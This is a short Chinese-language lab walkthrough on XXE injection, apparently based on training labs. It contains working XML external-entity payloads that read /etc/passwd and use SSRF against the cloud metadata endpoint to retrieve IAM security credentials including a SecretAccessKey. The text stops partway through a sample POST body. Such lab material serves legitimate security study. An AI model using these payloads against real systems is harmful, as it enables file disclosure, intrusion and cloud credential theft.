XML是什么?
XML是一种标记语言
XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制的
XXE原理:
基本条件:服务器接收并且解析XML格式的输入(通过post)并且有回显的时候
可控部分:输入我们自定义的 XML 代码,通过引用外部实体的方法,引用服务器上面的文件
关键利用点:外部实体
相关实验
1、利用外部实体来检索文件
1.1 访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。
1.2 在 XML 声明和stockCheck元素之间插入以下外部实体定义:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
1.3 将productId数字替换为对外部实体的引用:&xxe;。
响应应包含“无效的产品 ID:”,后跟/etc/passwd文件的内容。
2、利用XXE进行SSRF攻击
2.1 访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。
2.2在 XML 声明和stockCheck元素之间插入以下外部实体定义:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
2.3将productId数字替换为对外部实体的引用:&xxe;。响应应包含“无效的产品 ID:”,
后跟来自元数据端点的响应,最初是文件夹名称。
2.4迭代更新 DTD 中的 URL 以探索 API,
直到到达/latest/meta-data/iam/security-credentials/admin.
这应该返回包含SecretAccessKey.
原post数据
<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId